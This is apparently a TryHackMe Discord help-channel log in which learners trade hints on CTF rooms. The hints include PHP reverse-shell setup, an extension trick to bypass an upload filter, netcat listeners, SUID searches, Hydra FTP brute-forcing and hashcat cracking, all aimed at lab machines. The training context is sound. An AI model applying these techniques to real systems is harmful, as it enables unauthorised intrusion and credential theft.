room-hints

[chrome hull]

"warning: failed to daemonise. this is quite common and not fatal. connection refused (111)

[alpine kestrel]

what port did you set in the rev shell???

[chrome hull]

80

[alpine kestrel]

.......

[ebon jewel]

that looks like not rev shell code

[alpine kestrel]

yeah that would be bad

try and use a port above 1024 port number

as anything lower then that needs administrator/root perms to be used

[chrome hull]

i had it on 1234 and 9999 before and same error message

[alpine kestrel]

do you have a firewall up somewhere???

[chrome hull]

not on the VM

[fathom dome]

I guess that's preety obvious, but check if you have the right ip address on your php rev shell

[ebon jewel]

again. the .php5 file

[alpine kestrel]

that is the line that pentest monkey:s php revshell outputs in the window on the website when you navigate to the php file to spawn the shell

but the last part is some clear error

[ebon jewel]

i saved the file and that is content of the file

[chrome hull]

i tried to use the default .php extension it was not allowed for upload it was allowed for the .php5 . I changed the port to 1048 and nc'd that port and curled and same results

[ebon jewel]

i just used my ,php5 on that machine rootme and it worked for me

[alpine kestrel]

shadow used phtml instead of php5

dunno why shadow prefers phtml

[fathom dome]

i tried with php5 and phtml, both worked. Verify that you have your THM ip on the $ip variable

[chrome hull]

if phtml is a file extension ill give it a try

[ebon jewel]

php-reverse-shell.php5 the http://10.10.98.0/uploads/php-reverse-shell.php5 it's a incorect file contant

[fathom dome]

As shadow said before, you can use whatever port you want above 1024 without super user privileges.

[alpine kestrel]

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.33.184';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
```  is what shadow used on their attackbox.... but of course that ip should be changed for your own attack machine ip

[ebon jewel]

let me guess it's not working

[chrome hull]

ok so mine looks like yours but with my information I dont have any changes except with the nc i get a "cant access tty;job controll truned off" message now

[ebon jewel]

can you post pic of php-reverse-shell.phmtl that is on you local file. not uploaded one

[fathom dome]

@chrome hull If it looks like this, then you got your shell.

[chrome hull]

oh then I have my shell then XD

[fathom dome]

run python -c 'import pty; pty.spawn("/bin/bash")'

[ebon jewel]

you did get rev shell ?

[chrome hull]

https://prnt.sc/1eYtu0EUqk5N

or did you mean the actual shell from the terminal ?

[ebon jewel]

did you manage get the shell back?

[fathom dome]

@ebon jewel

[chrome hull]

@ebon jewel https://prnt.sc/1xykHnW-zpg8

[ebon jewel]

that is it

same as mine

[alpine kestrel]

yeah if you get a $ in the terminal while running nc -lvnp 1234 with a blinking cursor at the end you got a shell

from there you stabilise the shell and get going

[ebon jewel]

sry. my writting skills today are crap today. bit awake to loong

[alpine kestrel]

it is fine ralex

lots of missunderstandings above

[ebon jewel]

was confused my the content of the rev shell file =/ yea

[chrome hull]

Thank you @alpine kestrel @fathom dome @ebon jewel

[green minnow]

Gave +1 Rep to @alpine kestrel

[alpine kestrel]

+rep @fathom dome

[green minnow]

Gave +1 Rep to @fathom dome

[alpine kestrel]

will get back on getting that last rep point to ralex in 5 mins

[fathom dome]

+rep @ebon jewel

[green minnow]

Gave +1 Rep to @ebon jewel

[ebon jewel]

aww

[alpine kestrel]

that works too

thanks sickb0y

[fathom dome]

Shadow, you're from sweden right? Ever listened to Bathory??

[alpine kestrel]

do not recognise that band name no

[ebon jewel]

when you exmine the contact-msg. the right side of you pic. does anything stands up as answer/flag

[green minnow]

Gave +1 Rep to @ebon jewel

[chrome hull]

im searching for files with SUID permissions is " find / type -f -user root -perm -u=s 2> /dev/null " not the correct command for this?

[ebon jewel]

what room

[chrome hull]

rrootme

[ebon jewel]

you are close for sure. bit wrong command but close

[chrome hull]

I found it thank you @ebon jewel

[green minnow]

Gave +1 Rep to @ebon jewel

[ebon jewel]

my goto command is find / -perm -u=s -type f 2>/dev/null

[twilit prairie]

Hello guys, i'm doing a VM , having a hard time trying to priv escalate.

Can't find a way to do it, would some one please analyze the linpeas output and maybe give me a tip of what way should i go?

[short steppe]

hi guys am a newbie here,trying to do my introduction to cyebersecurity,i am at intro to offensive security,however i cannot tell how to access the next room,kindly assist

[short steppe]

I believe i did.

But i am even struggling to send the screenshot i took using the snipping tool,still trying though

[chrome hull]

any advice on why my hydra command isnt working : https://prnt.sc/mfVL9QL6Si62

[hot tusk]

there is no rockyou.txt , have you recently installed kali? unzip the file

oh... much better... is not 'wordlist', is 'wordlists'

with letter 's' at the end

Enterprise room. Anyone knows what that error is? Can't dump the hash

[chrome hull]

i see i left the S off thank you

[green minnow]

Gave +1 Rep to @hot tusk

[sly basin]

hi, am doing the cat pictures 1, and right now am inside the internal shell service through nc, and because its in restricted environment i can't perform most commands, and i have seen on binary (i guess) in the user profile too, but can't access/execute it.
tried to transfer it, but still the same error cant exeute in this shell.
if someone gave hint, that would be helpful for me.
https://tryhackme.com/room/catpictures

[austere thorn]

For the dynamic analysis: debugging room, I cannot seem to figure out task 2 q1. It asks what kind of analysis technique is being avoided by malware checking timing stuff. I assume the answer is something along the lines of sandboxing/virtualization analysis. Am I on the right track?

[worldly vine]

I am starting Island Orchestration and I am guessing I am suppose to port scan. Evey time I port scan from other labs, it crashes. Is there any nmap command that these labs like more ? 🙂

[low hawk]

Hello

[short steppe]

And what do I need to verify myself?

[topaz umbra]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[topaz umbra]

follow the steps in that link @short steppe 🙂

[zenith sphinx]

Hello I'm trying to complete the OWASP top 10 2021 room and I'm stuck in task 15

I have spotted the vulnerability but I can't find a way to print the flag to the screen

[lucid junco]

Bookstore RCE?

[zenith sphinx]

Yes yes

I tried to output the file's contents with iframe and then with php and didn't work

I couldn't figure out how to do it with JavaScript either

for context:I want to get the contents of /opt/file.txt

[neat rune]

Hi there, I have gone through most of these recently and want to help as much as I can, hopefully without giving the answer. 😊
Starting from the top:
So you have the exploit now. What do you do with it?
If you have the correct exploit, try executing it, does anything stand out relating to ‘usage’ error? This may give you a hint as to how you are suppose to execute the file properly. Also, remember what IP address and port you are attempting to exploit.

Once it executes properly on your target, and it appears that you have attained RCE, use the command to list out the path/read contents of the flag file. Do you know what that command is?🧐 😉

[zenith sphinx]

I think I'm missing the last piece of the puzzle

I think I just need a command that outputs the content of a file in console or alert window or the page itself

I might do more google searching in a bit

[neat rune]

I could be assuming too much, and I apologize if I am either confusing or steering you in the wrong direction, but you could potentially have a different setup or went a different route than me.
I am using the THM provided AttackBox, and was able to perform this all from 1 terminal window. If you get to a point where you have achieved RCE privileges on the target via a terminal window, there is a simple command that I was able to use to display the contents of the needed file. 😺 😉

[zenith sphinx]

Ohhhh I got mixed-up with the terminologies I have a XSS vulnerability

[velvet schooner]

nice to meet you all

[zenith sphinx]

I ll try to figure it out by myself then thanks for the hints

[neat rune]

OK, sorry that I could not help, but I will add that if you are on the OWASP Top 10 - 2021 Task 15 Vulnerable and Outdated Components - Lab , there is an exploit that can be found while searching through Exploit-DB. Happy hacking!

[zenith sphinx]

Yh it's okay I just found another exploit about xss

And I thought I had found the correct one

[near turtle]

anyone else doing overpass3 and having trouble uploading their shell via ftp? I've logged in via ftp using the user credentials, changed directories over to backups and used put ~/Downloads/payload.sh.php and keep getting an error saying it could not create the file. Looked at walkthroughs and nobody else is gettin that error. my shell is correct as well, anything i try sending using the put command doesn't work.

[woeful quail]

Hi,
Sitting with the "Crackthehash" room
https://tryhackme.com/room/crackthehash

And can't get hashcat to find it with the rockyou.txt
Becomes "Status: Exhausted"

[lucid junco]

Which task?

[woeful quail]

Sorry, last task.

PrivateBin of the output and command.

||https://paste.offsec.com/?bca2ee2ad4c45422#afXHJlrf37qUy2NVVI2w+wIg+rIORoaVb2IrEopPEYk=||

I guess I must be missing something, any hits 🙂

[lucid junco]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[lucid junco]

Can you verify and paste t eimage in here, I don't want to click a link.

[mint plume]

urlscan

[lucid junco]

I shouldn't have to.

[woeful quail]

One moment

[mint plume]

https://tenor.com/view/i-apologize-rudy-ayoub-thats-my-bad-forgive-me-im-sorry-gif-26205392

[woeful quail]

Think I'm verified but can't add images :/

[lucid junco]

You're not verified

[woeful quail]

oh ok

Can't DM the bot as per the inscructions.

[lucid junco]

You need to open up your DM's to the server.

You're privacy settings are blocking the bot.

[woeful quail]

There we go!

Thank you @lucid junco

[green minnow]

Gave +1 Rep to @lucid junco

[lucid junco]

Are you doing task 1?

[woeful quail]

No, the last one.

[woeful quail]

had an Idea it was my mashine but same problem on the AttackBox

it's TASK 2-4

[lucid junco]

Which room.

?

[woeful quail]

@lucid junco any idea about my problem. 🙂

I can encode it the otherway with that SALT but not crack it.

[tidal bane]

In the beginner training for operating system security, can some one finding the password for the user johnny? It doesnt seem like I can upload a screenshot

This room introduces users to operating system security and demonstrates SSH authentication on Linux.

where do I find !docs verify?

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[alpine kestrel]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[tidal bane]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[tidal bane]

Okay now I can paste screenshots. Am in this begineer room stuck here:

For the life of me I cant see anywhere on how to find a password for johnny username

[lucid junco]

Based on the top 7 passwords

[lucid junco]

Use the list given in Task 2.

[tidal bane]

ah okay thanks

[green minnow]

Gave +1 Rep to @lucid junco

[halcyon turtle]

how can i post screen shots here?

[lucid junco]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[lucid junco]

Follow the link.

[halcyon turtle]

is this hashed password with this salt sat up correct in hash file?

i've waited fot hours!

[lucid junco]

What's your syntax?

[atomic ice]

what can I use to examine this file in this challenge? radare?
https://tryhackme.com/room/0x41haz

The message I get when running it is

-> r2 0x41haz.elf
ERROR: Cannot find 'Unknown or unsupported arch' asm/arch/anal plugin. See rasm2 -L or -LL
ERROR: Cannot find 'Unknown or unsupported arch' asm/arch/anal plugin. See rasm2 -L or -LL
ERROR: Cannot find 'Unknown or unsupported arch' asm/arch/anal plugin. See rasm2 -L or -LL
 -- That's embarrassing.
[0x00010000]> 

[fathom dome]

https://tryhackme.com/room/crackthehash

[fathom dome]

This is going to take a considerable amount of time to crack, even on your host OS. Use hashcat with the sha512crypt format (1800), specify attack mode 0 and wait.

[ebon jewel]

if you still have issue. what command did you use for it

[lucid junco]

How are you running it? r2 ?

[atomic ice]

I just found the solution, I had to do something before running it with r2

[lucid junco]

Ghidra? >.>

[atomic ice]

||test||

[lucid junco]

Test succeeded.

[atomic ice]

spoiler: ||hexedit and edited MSB to LSB|| then it ran ok in r2

ghidra would work too though

[lucid junco]

Ah!

[atomic ice]

yep

[lucid junco]

Did it run ok then?

[atomic ice]

yeah

as the description said there was some anti-measure for reversing - that was it

[halcyon turtle]

crack the hash 1

[halcyon turtle]

hashcat.exe -a 0 -m 1800 hash.txt rockyout.txt --force

[halcyon turtle]

a waited for a long time, after that the crack stared and after some seconds it stopef and gave me error like this memory cpu cant take it something like that, but i know it is my laptop, it cant handle it.

[rancid ice]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[smoky night]

I'm a novice, anyone has an address for the dark web, I'd like to know about it. i will thank him

[rustic sphinx]

Yes, it's at https://admin.tryhackme.com/portal?location=dark

[karmic pivot]

Anyone can help me with Madness room ? I have 1 question

[lucid junco]

oh, one of my favourite rooms!

[karmic pivot]

yes, it's very nice ^^ i'm glad I managed to finish it ^^

[pine dust]

damn it 🤦🏻‍♂️. you got me.

[strong lance]

I nearly ended like the mad hatter after hours not understanding whats going on their 😄 But I loved it and after getting in PrivEsc was quiet easy... But to the question, i found sth. like: "for i in {start_port..end_port}; do ssh some_options <ip> -p "$i"; done" quiet enlightening

[strong lance]

https://en.wikipedia.org/wiki/List_of_Tor_onion_services
https://tails.boum.org/

[smoky night]

OK, thanks

[green minnow]

Gave +1 Rep to @strong lance

[tribal sluice]

pls guys i need help with a room have been stock for some hours now, the title of the room is "walking an application" under JR Pentesting, Task no: 3,
i just cant figure out the real ACME IT SUPPORT website to get the flags from.

[lucid junco]

You need to start the machine in task 1,

[chrome hull]

im trying to use hydra to get into a FTP port I have potential username but my hydra enumeration is a bit wonky I was curius if anyone knew if my commandline was missing anything? :
hydra -l maya -P /usr/share/wordlists/rockyou.txt ftp://10.10.28.133

[peak grotto]

looks good to me

you can specify how many threads you want it to run with -t, default is 16 for ftp

[chrome hull]

so would it be hydra -t 16 -l then the rest ?

[peak grotto]

well if you put it to 16 it doesnt matter, but you could to hydra -l maya -P wordlist.txt -t 32 ftp://127.0.0.1 to use double the threads

especially for ssh bruteforcing in CTFs it can be helpful, hydra defaults to 4 (slow) threads with a warning that more can confuse the ssh service, but I usually run it with -t 20 without a problem and its much faster

[chrome hull]

oh wow thank you

[green minnow]

Gave +1 Rep to @peak grotto

[chrome hull]

is this speed normal ? [STATUS] 308.57 tries/min, 2160 tries in 00:07h, 14342253 to do in 774:40h, 18 active

[peak grotto]

looks fine I think? I haven't had to bruteforce many ftp logins, you can probably crank up the threads even more but if you haven't gotten it by now you and this is a ctf then you are probably on the wrong approach

[chrome hull]

I dont have it yet and this does look like the wrong approach lol

[peak grotto]

is it a ctf? They are usually tuned that if you do have to bruteforce it shouldn't take too long with a standard password list (usually not more than 5min or so). Sometimes you have to use a custom wordlist or have some information about password policy to filter out passwords that dont meet a certain criteria

or maybe there is another user

[lucid junco]

Which room are you doing?

[chrome hull]

"startup"

[chrome hull]

its suppose to be this absolute basics of CTF from the description

[lucid junco]

Ah!

I remember this one.

You're wasting your time with Maya

[chrome hull]

🙂 plz dont say bc you can anon login on ftp

[lucid junco]

Bingo!

[chrome hull]

sec afk crying

[lucid junco]

Don't you nmap things? lol

[peak grotto]

lmao poor guy

[chrome hull]

nmap was the very first thing i did and i cant seem to get a solid response

[lucid junco]

What's your ip?

[chrome hull]

" All 1000 scanned ports on 10.10.167.172 are in ignored states.
Not shown: 600 closed tcp ports (reset), 400 filtered tcp ports (no-response)"

[chrome hull]

target machine or vpn ip ?

[agile coyote]

please how can i use Kali linux to run the exiftool for the letter-image.jpg and not the Attack box

[lucid junco]

You need the letter on your kali machine.

You can't exiftool a file that isn't there.

[chrome hull]

I ran nmap -sV -v and got that error I posted ill try your line and see if i get better results

[lucid junco]

exiftool is on Kali by default...

[agile coyote]

how can i get the fil on my kali linux

though, i jave used jimpl.com to find answer to the question

[lucid junco]

You can download it from the task, and transfer it via python server, drag and drop, or a shared folder if you VM supports it.

[agile coyote]

ok..thanks

please how do i transfer it via python server...

[lucid junco]

spin up the attackbox, CD to the directory and spin up a python server

python3 -m http.server

Then on your VM

wget http://machine_ip/filename

[agile coyote]

thanks so much..i really appreciate

[whole remnant]

hello everyone, this was taken from the Autopsy room , task number 7 "What self-assuring message did the 'Informant' write for himself on a Sticky Note? (no spaces)" when i enter the answer , it say it is incorrect , does anyone else experience this?

[blazing compass]

Stupid question how do you connect to the https://tryhackme.com/room/enumerationpe linux machine. SSH port is open but I have no idea what the password and username to connect to the machine.

Am I meant to get initial access by hacking something before I even begin with the room?

I'm confused.

Hahahahaha never mind the login credentials where at the bottom of the room.

Saves brute forcing it with hydra.

[chrome hull]

I cant seem to figure out why my netcat will not run. any advice is much appreciated https://prnt.sc/J3amh9IhFBv4

i've reinstalled it and updated everything but idk whats causing this

[lucid junco]

Try -lvnp

[chrome hull]

it worked should the ip show all 0's though ?

[lucid junco]

No?

Can you show me?

[chrome hull]

https://prnt.sc/uPPssFMokplU

[lucid junco]

That's just listening on any

[chrome hull]

I still got the reverse shell so i guess it doesnt matter ?

oh

[lucid junco]

You can specify the ip.

[chrome hull]

thank you

[green minnow]

Gave +1 Rep to @lucid junco

[chrome hull]

im downloading a .pcapng file to go over logs in wireshark but it keeps saving it as 'index.html' even after scheme specified is there a way to address this? i've looked online for what i could be doing wrong and hit a wall

[lucid junco]

It looks like you're saving the actual web page?

Where are you downloading it from?

[chrome hull]

the direct path once i reverse shell into it and located the path it was ' wget ftp://10.10.155.51 /incidents/suspicious.pcapng '

I tried it wont let me use get

[lucid junco]

Is it because you have a space beteern 51 / ?

[chrome hull]

" No command 'get' found, but there are 18 similar ones " your guess is as good as mine

[chrome hull]

if i dont have a space i get an error

[lucid junco]

Screenshots are king.

[chrome hull]

https://prnt.sc/q1hpqll4Ol1e

yes

no but my target machine timed out so ill have to start over

thank you

[green minnow]

Gave +1 Rep to @dusk totem

[chrome hull]

I dont have permission to move the file

https://prnt.sc/PnARLfpEG9gd

[fast oriole]

Can anyone please help with the throwback network?

[chrome hull]

idk how long finding it will take just wanted to let you know lol

im cd'd to the ftp directory is the mv line i presented correct or does it need to be adjusted bc of the pwd ?

[lucid junco]

What room are you doing?

[chrome hull]

🙂 startup

[lucid junco]

Oh.

Do you know how to move it?

don't use mv.

use cp

[chrome hull]

same line just copy instead of move?

[lucid junco]

you might need to type out the full pwd

so

cp /incidents/suspicious.pcapng /var/www/html/files/ftp

[chrome hull]

i'd go with /html/files/ftp over /srv/ftp ?

[lucid junco]

Yeah.

[chrome hull]

https://prnt.sc/qNk9GNTbYfSR

[lucid junco]

Are you in the directory of the of the pcapng?

[chrome hull]

no im in the ftp directory

[lucid junco]

That would be why, you need to be in the directory of the pcapng to move it.

It will have more than /incidents/.. etc in there

[chrome hull]

ok sec

[chrome hull]

im guessing it timed out. im going to reset the shell connection : https://prnt.sc/9pXmwcT4BZ8s

[chrome hull]

it doesnt show in the directory anymore https://prnt.sc/47c161DuAIoy

[wind peak]

Network services 2 Task 3. The nmap scan we are told to do. how long does it take? ive been waiting for 15 minutes and it hasnt moved. Does it actually take this long? Is my laptop that slow or does it actually just take long

[high harbor]

Usually nmap scans take 15mins at most for rooms in my experience. You can speed this up by adding the switch --min-rate 10000 keep in mind that increasing the speed might miss things but I have found that this rate is usually pretty good for rooms. Also adding -vv nmap will output each port as it scans it so you can see if it freezes

[wind dove]

hey guys

i issued several times the same issue with room wreath regarding connecting with rs_ida

[simple cipher]

hi, was wondering if anyone could provide a hint for the tomghost room

I got the user flag but I'm a bit stuck on escalating privileges to get root

[lucid junco]

sudo -l

Thne GTFO bins.

[simple cipher]

sounds good, I'll take a look there. thanks!

[green minnow]

Gave +1 Rep to @lucid junco

[light pendant]

doing https://tryhackme.com/room/adventofcyber4 day 9 and I can't quite get why the answer for CVE seems to be a bug that is exploitable on versions prior to 8.4.2, whereas the application has version 8.26.1

[light pendant]

also: where does this ip come from?

[high harbor]

Cracking hashes can take a very long time and are very hardware dependent. How many hash per second is yours running at?

Oh ya that's going to take ages I suggest that if you already have it running for this room I would just look the hash up since its a hardware limitation slowing your learning down. That room is more meant to show you how to crack a hash and your command will work its just a matter of time

Ya it might be that you need to use the other version of hash algorithm. Sometimes the first option that you try isnt correct and you have to try multiple to get it to crack

Okay then its just a matter of time but also that particular hash is able to be found from https://hashes.com/en/decrypt/hash there hash table contains the answer

Ya no problem you wont always find hashes there but it cant hurt to check hashes you find on those quick as it can take a while to crack certain hash algos

[white salmon]

nudge for "AWS API Gateway"?

[lucid junco]

Is this on the new AWS path?

[white salmon]

ye @lucid junco

[lucid junco]

You might not get help with that path in here, as most of the volunteers don't have access.

[white salmon]

trying my luck lol

[oak whale]

hello,

I don’t see how to access the admin page in the OWASP room Top 10 - 2021 > Task 22, bonus question.

Do either of you have a clue?

[hexed crescent]

Feel free to send me a DM. 🙂

[white salmon]

Hey, thanks for responding, already figured it out 🙂

[green minnow]

Gave +1 Rep to @hexed crescent

[thorn dragon]

Hello could someone help me with giving me a hint with a CTF challenge? It’s with wireshark a

And trying to filter for passwords

[hexed crescent]

You're welcome, glad to hear you figured it out. 🥳

[lucid junco]

Is this a tryhackme room?

[fickle lava]

Hey everyone. I am stuck on finding the flag for the Snapped Phishing Line room. I've read through the forum hints but still can't figure out where the flag is. A hint would be appreciated

[thorn dragon]

Yes it is!

[high harbor]

||Check the subdirectories for the URL of the attackers domain. Think of what you would call a flag file and file extension you would use.||

[high harbor]

You can shoot me a DM if have a question or want a hint on a room. If I have done it I can try to help or maybe I can start the room.

[chrome hull]

yes I just moved it to the ftp directory and downloaded it from there and it was ezpz from that point

[hushed geyser]

Hello, I'm stuck in the Networking Room, Enumerating SMB. I cant figure out what sticks out as someting interesting to invesitgate. What happened to the youtube walkthroughs? Did I not run a good nmap scan? Do I have to download enum4linux to complete this section?

[red verge]

Has anyone completed Insekube room ?

[fathom dome]

The "interesting" something you want to investigate is one of the file shares, use enum4linux with the -S option to list the ones available on the machine.

[alpine kestrel]

eugh enum4linux

outdated stuff that barely works

smbclient can easily replace it

[high harbor]

I have not but I will start it quick. What's your questions about the room like which task are you having issues with?

[red verge]

Thank you for replying
I have doubts in the final task where i need to break out of the pod to get the root flag.

[green minnow]

Gave +1 Rep to @high harbor

[tribal sluice]

hello guy, am stuck on a task at the jr pentesting room, i tried connecting openVPN to my kali machine but its giving this error "Options error: In [CMD-LINE]:1: Error opening configuration file:

[light pendant]

please paste the command and full output

[pseudo whale]

Linux PE ==> PE Capabilities lab : The flag file already has read permission for others and it can be viewed even without escalating privileges. Bug?

[high harbor]

That error usually means you need to specify the path the where you have the .ovpn located at. If you aren't sure what it needs to be navigate to where you have the file and run pwd will show the full path

[tropic garden]

Working on Madness room (https://tryhackme.com/room/madness), was wondering what the next step I can do after getting the secret? There was a disclaimer that bruteforcing is not required so I wanted to know what technique I can try. I seem to be looking for a username.

[hybrid orchid]

How can I connect tryhackme account on discord? can you help me?

[high harbor]

https://help.tryhackme.com/en/articles/6495858-discord

[hybrid orchid]

ok ı do

thx

[lucid junco]

This is one of my favourite rooms!

Where are you in the room?

[tropic garden]

I am trying to enumerate users at the moment. I already tried looking for hidden directories, tried to look for hidden files, etc.

[lucid junco]

So.. the start?

[tropic garden]

No. I already have the secret, so I'm looking for a user.

I already learned something from it and I haven't even got the initial access.

[lucid junco]

Have you found the ||secret directory|| ?

[tropic garden]

Yes, including the || parameter value ||

[lucid junco]

Did you get ||the number|| ?

Yes.

[tropic garden]

Yes

[lucid junco]

And this is where you're stuck?

[tropic garden]

I got some random value, I tried to check if its a hash or encoded text, but it isn't so I'm assuming its a password.

[lucid junco]

Yeah, it's something. 😄

I can give you a nudge, or a hint.

[tropic garden]

Yes please. Is it the password? If not, I'll try to check again.

[lucid junco]

You're not finished with the ||THM picture||.

[tropic garden]

I was thinking the same thing, but I already tried binwalk, steghide and stegseek. Even strings.

[tropic garden]

I'll check this again. Thanks!

[green minnow]

Gave +1 Rep to @lucid junco

[lucid junco]

||steghide|| gave you nothing?

[lucid junco]

What syntax did you use?

[tropic garden]

I was stuck at the password

Just thought of using the value I got as the password to extract the hidden file.

I remember I also got stuck on the EasyPeasy room because of the exact same stage.

[tropic garden]

Thanks for the nudge!

[green minnow]

Gave +1 Rep to @lucid junco

[lucid junco]

||The password you found should be the key||

[tropic garden]

Yeah, I just got it.

[lucid junco]

😄

you have one half of the cred.

[tropic garden]

Yeah.. time to look for hints again. At least I was able to move forward. Stuck on that part for hours.

[lucid junco]

https://tenor.com/view/cheshire-cat-alice-wonderland-smile-gif-12791280

"We're all mad here"

[tropic garden]

[tropic garden]

I just remembered that I'm also stuck at Wonderland. 😅

I should complete those unfinished ones first before starting new ones.

[lucid junco]

Bahaha!

[strong lance]

wonderland was beautiful, good place to fall in rabbit holes (:

[tropic garden]

Yeah, stuck at the PE stage and looking at multiple options already.

[lucid junco]

Did you finish Madness?

[tropic garden]

Will take a stab at it again tomorrow if not today.

[tropic garden]

Not yet. Had to stop because of work.

[high harbor]

Out of seeing you guys talk about Madness room I thought I would give it ago and I just got my foothold. I am so not trusting anymore haha

[tropic garden]

Good for you. Haha. At least you already have your foothold.

[high harbor]

You got this. Just have to keep looking.

[lucid junco]

How are you getting on?

[open badger]

I need help

[lucid junco]

We might be able to help bud, you just need to tell us what it's concerned with.

[open badger]

I rest my password and can not log in my account

[lucid junco]

What sort of error do you have?

[open badger]

Hi, I would like to know if you can help me get access to my account. My phone with my 2FA App on got stolen and it didn't backup my 2FA Codes. Now I can not get back into my account and need to reset the 2FA. Please Help Me.

it was remove but can not login my account

[lucid junco]

you'll need to contact support.

!email

[proud scarab]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[open badger]

sharp en thanks

[tropic garden]

Still stuck on trying to get the password so I worked on different boxes first. 😅

[lucid junco]

Would you like another clue? 😄

[tropic garden]

I'll give it a shot again later today and tomorrow. I'm trying to define or document a mind map of some sort as there are things that I sometimes forget. I really need to up my enumeration.

[lucid junco]

https://www.rfc-editor.org/rfc/rfc793

Check the hint.

and I've literally given you the answer...

[green minnow]

Gave +1 Rep to @lucid junco

[slender sigil]

Hi all, can I get a hint for PS Eclipse room, question 5?
I don't get what format is needed because in the flag place it is "Answer format: ** **********:**************************. / / ***************." but in the description it is (Format: User + ; + CommandLine) can I get clear descriprion or hint, please?

[high harbor]

The format is just a copy paste of the information you found about the suspicious binary. ||<USER>;<CLI _Command>||. Put what you are thinking the answer is based off that.

[slender sigil]

Thing is, like let say, first part is question about"What permissions will the suspicious binary run as? " - this will be SA and there is a field to type in **(SA), but I will try what you suggested, maybe it helps because I see I got misled in to rabbit hole by my interpretation of description/question. Thank you for getting back.

[high harbor]

I dont have the room booted up myself and I did this room a long time ago so not sure where you are getting the binary runs as "SA" I will give you if you want the User is that start of the command should be: ||NT AUTHORITY\SYSTEM||

[slender sigil]

Thank you, but won't look in to it now, will try myself to find out.

[green minnow]

Gave +1 Rep to @high harbor

[high harbor]

I actually booted the room up again for myself to jog my memory. The user isnt going to be found where the command is run but instead ||look at where the command was created|| this is a hint not giving directly the answer just where to look for it.

[slender sigil]

I've got the flag, just trying to connect bits why it's on that priviledge, because under user we don't see any run by the User that we have in the flag.

[high harbor]

If you look at the create command of the task itself. You have to look back at the answer to question 4. If you break the command down and look at what each of the parameters its being feed you will come to ||/RU SYSTEM|| that switch is telling the task what to run as when executed

[slender sigil]

yes, you are right, thank you. I missed that part and where in logs searching for the execution log, now I get it

[high harbor]

No problem happy to help. I am very rusty when it comes to Windows commands.

[slender sigil]

What else to get better with Splunk for BTLOv1 exam would you suggest to get in to:
Conti, New Hire Old Artifacts, Splunk 2, Splunk 3?

Let's say is there any grade, except (easy/medium)? or this is not the room to ask this?

[high harbor]

For TryHackMe I have only done that PS Eclipse room for splunk related content. I would just suggest if that is something you want to learn more about just pick any of them. I am sure they each can teach you something diffrent with a bit of overlap. If you just search Splunk in the search tab under Learn it shows they have 9 rooms in total tagged as Splunk

[slender sigil]

yep, 4 left to go then. Will take "New Hire" then as I feel BoosV2 and V3 will be most hard

[slender sigil]

Hi, can I get clarification on what is needed under room "New Hire Old Artifacts" question number 3 is misleading me.
What was the name of the binary? - clear for me and I have answer.
What is listed as its original filename? - clear for me too.
(format: file.xyz,file.xyz) - clear too.
File path should include username in long name format. - what exactly would it mean?
Does it mean it should be ||C:\Users\FINANC~1\AppData\Local\Temp\Procmon64.exe|| or it should be ||FINANC~1\AppData\Local\Temp\Procmon64.exe|| or it should be for example ||Procmon64.exe,Procmon64.exe|| the biggest pain in the kidney for me is the way that flag format is requested to be, like task is easy but the time wasted is to understand and find out what flag format is requested to be able to move on.

UPD: 2:29 AM GMT. I've fought with an appropriate flag to be submitted and waisted on that 2h instead of task investigation. Task solved but mods, please, review how questions are stated and how "hints" can mislead. Thank you.

[lucid junco]

Mods aren't site staff.

[tropic garden]

Finally rooted the box. Retraced my steps at least 3x until I had nowhere else to look but that file.

[lucid junco]

[lucid junco]

I thought that was the best last lol

[tropic garden]

Hahaha. I already have an inclination to look at that file, but then said to myself that I must have missed something. I also thought of doing OSINT, but all I saw were links to writeups so that didn't help as well.

The room name was really suited to it.

[tropic garden]

Just got my first privesc, but from the looks of it, I'm guessing I may have to do at least 2 more privesc before I root the box.

[strong lance]

I only remember that you need to go to the tea party 😄

[tropic garden]

I'm at that part at the moment 😅

[warm flame]

hello

i am doing crack the hash

[lucid junco]

Hiya.

[warm flame]

and currently trying to crack hash using hashcat but it has been running for ever!

[lucid junco]

Are you using the correct syntax?

[warm flame]

hashcat -m 3200 "\$2y\$12\$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom" /usr/share/wordlists/rockyou.txt

i found out that mode should be 3200

and used this

do you think it is correct?

its just displaying hashcat is running and time estimated is 46 days!

have you done this lab already?

[lucid junco]

Yes, but it was faster on mine

[warm flame]

did you use a different method?

I only have an i5 7th gen is that the reason?

[lucid junco]

Well, which question are you doing?

[warm flame]

maybe my processor is shite

just need to crack this hash

$2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom

https://tryhackme.com/room/crackthehash

[lucid junco]

why did you add the "$2y" ?

[warm flame]

but its there in the original hash I didnt add anything

[lucid junco]

I always load my hashes in to a text file, and call that in the command

[warm flame]

oh okay let me try doing that

thanks @lucid junco

[green minnow]

Gave +1 Rep to @lucid junco

[warm flame]

still the same :/

[lucid junco]

Yeah, it won't be immediatly...

[warm flame]

ok ill give some time

thanks

[lucid junco]

Do you want a hint?

[warm flame]

that would be help ful yes because i have been fiddling with this for hours now

[lucid junco]

use -a 3 ?l?l?l?l

This is will use a mask attack, and only search rockyou.txt for a 4 lettered undercase word.

[warm flame]

oh i am using -a but thanks for the rest!

[lucid junco]

?1 - Undercase
?u - Uppercase
?d - digit (0-9)
?s - sepcial character
?a - all characters

[obsidian cedar]

